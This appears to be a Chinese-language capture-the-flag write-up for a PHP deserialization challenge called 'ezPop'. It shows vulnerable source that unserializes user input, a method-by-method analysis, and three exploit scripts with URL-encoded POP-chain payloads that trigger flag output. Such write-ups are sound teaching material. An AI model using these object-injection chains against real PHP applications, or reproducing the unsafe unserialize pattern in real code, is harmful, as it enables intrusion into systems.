[校赛] – Web – ezPop
源码
<?php
highlight_file(__FILE__);
error_reporting(0);
class Z{
public $key;
public function __wakeup(){
$this -> key = 'nothing';
}
public function __destruct(){
if($this -> key == 'xatu'){
include('flag.php');
echo $flag;
}else{
die("NO!");
}
}
}
class A{
public $name;
public $b;
public function __construct($a,$b){
$this -> name = $a;
$this -> b = $b;
}
public function hello($a){
echo "hello!".$a;
}
public function __destruct(){
$this -> b -> hello($this -> name);
}
}
class B{
public $obj;
public function __construct($obj){
$this -> obj = $obj;
}
public function hello($name){
$this -> obj -> $name();
}
public function __invoke()
{
echo "Oh,You touch me but useless!";
}
}
class C{
public $test;
public function __construct($test){
$this -> test = $test;
}
public function __call($name,$arg){
echo 'Got :'.$this -> test;
}
}
class D{
public $name;
public function __construct($name){
$this -> name = $name;
}
public function hello($name){
echo "Welcome to CTF ,".$name;
}
public function __toString(){
if(isset($this -> name) && $this -> name == "xatu"){
include('flag.php');
echo $flag;
}
return "You Win!";
}
}
@unserialize($_GET['pop']);
分析
class Z{
public $key;
public function __wakeup(){
$this -> key = 'nothing';
}
public function __destruct(){
if($this -> key == 'xatu'){
include('flag.php');
echo $flag;
}else{
die("NO!");
}
}
}
- 一个共有属性
$key
-
__wakeup()
在反序列化前触发,将'nothing'
赋给$key
-
__destruct()
在对象被销毁时触发,此时如果$key == xatu
的时候,包含并运行flag.php
,输出$flag
class A{
public $name;
public $b;
public function __construct($a,$b){
$this -> name = $a;
$this -> b = $b;
}
public function hello($a){
echo "hello!".$a;
}
public function __destruct(){
$this -> b -> hello($this -> name);
}
}
- 两个共有属性:
$name
、$b
-
__construct()
在对象实体化时触发,接收传参分别赋给$name
、$b
-
hello()
将$a
当作字符串输出(可以触发D
对象的__toString()
方法) -
__destruct()
在对象被销毁时触发,调用b
对象的hello()
方法并将该对象的name
传过去
class B{
public $obj;
public function __construct($obj){
$this -> obj = $obj;
}
public function hello($name){
$this -> obj -> $name();
}
public function __invoke()
{
echo "Oh,You touch me but useless!";
}
}
- 一个共有属性
$obj
-
__construct()
在对象被实体化时触发,将传过来的赋给$obj
-
hello()
调用obj
对象的$name()
,可以触发B
类的__invoke()
方法 -
__invoke()
在对象被当作函数使用时触发,输出一句话,这里需要绕过
class C{
public $test;
public function __construct($test){
$this -> test = $test;
}
public function __call($name,$arg){
echo 'Got :'.$this -> test;
}
}
- 一个共有属性
$test
-
__construct()
在对象被实体化时触发,将值赋给$test
-
__call()
当调用该类无法访问的方法时被触发,将该类的test
当作字符串输出,可以触发D
类的__toString()
方法
class D{
public $name;
public function __construct($name){
$this -> name = $name;
}
public function hello($name){
echo "Welcome to CTF ,".$name;
}
public function __toString(){
if(isset($this -> name) && $this -> name == "xatu"){
include('flag.php');
echo $flag;
}
return "You Win!";
}
}
- 一个共有属性
$name
-
__construct()
在对象被实体化时触发,将值赋给name
-
hello()
方法将name
当作字符串输出,可以触发该类的__toString()
方法 -
__toString()
在对象被当作字符串使用时触发,它判断name
不为空且弱等于xatu
,包含并执行flag.php
,输出$falg
- 拿flag:
D
类中的name == "xatu"
,调用其__toString()
- 触发
__toString()
:A
类和D
类的hello()
方法,意味着这两个类中的属性可能为D
类的对象 - 调用
hello()
:A
类的__destruct()
方法调用b
的hello()
方法,意味着b
属性可能为A
类的对象或者D
类的对象,name
属性为D
类的对象
方法一、二:
方法三:
payload
- 用
D
类的hello
触发
<?php
class D{
public $name = "xatu";
}
class A{
public $name;
public $b;
public function __construct($a, $b){
$this -> name = $a;
$this -> b = $b;
}
}
$a1 = new D;
$a2 = new D;
$a = new A($a1, $a2);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D
- 用
A
类的hello
触发
<?php
class D{
public $name = "xatu";
}
class A{
public $name;
public $b;
public function __construct($a, $b){
$this -> name = $a;
$this -> b = $b;
}
}
$a1 = new D;
$a2 = new A(1, 1);
$a = new A($a1, $a2);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7Ds%3A1%3A%22b%22%3BO%3A1%3A%22A%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bi%3A1%3Bs%3A1%3A%22b%22%3Bi%3A1%3B%7D%7D
- 用
B
、C
类触发
<?php
class D{
public $name = "xatu";
}
class C{
public $test;
public function __construct($c){
$this -> test = $c;
}
}
class B{
public $obj;
public function __construct($b){
$this -> obj = $b;
}
}
class A{
public $b;
//这里的字符串是啥都行
//为的是触发B类的__call()
public $name = "fuc";
public function __construct($a){
$this -> b = $a;
}
}
$c = new D;
$b = new C($c);
$a1 = new B($b);
$a = new A($a1);
echo urlencode(serialize($a));
payload:?pop=O%3A1%3A%22A%22%3A2%3A%7Bs%3A1%3A%22b%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A3%3A%22obj%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3BO%3A1%3A%22D%22%3A1%3A%7Bs%3A4%3A%22name%22%3Bs%3A4%3A%22xatu%22%3B%7D%7D%7Ds%3A4%3A%22name%22%3Bs%3A3%3A%22fuc%22%3B%7D
最后,给你们看一眼flag,嘻嘻?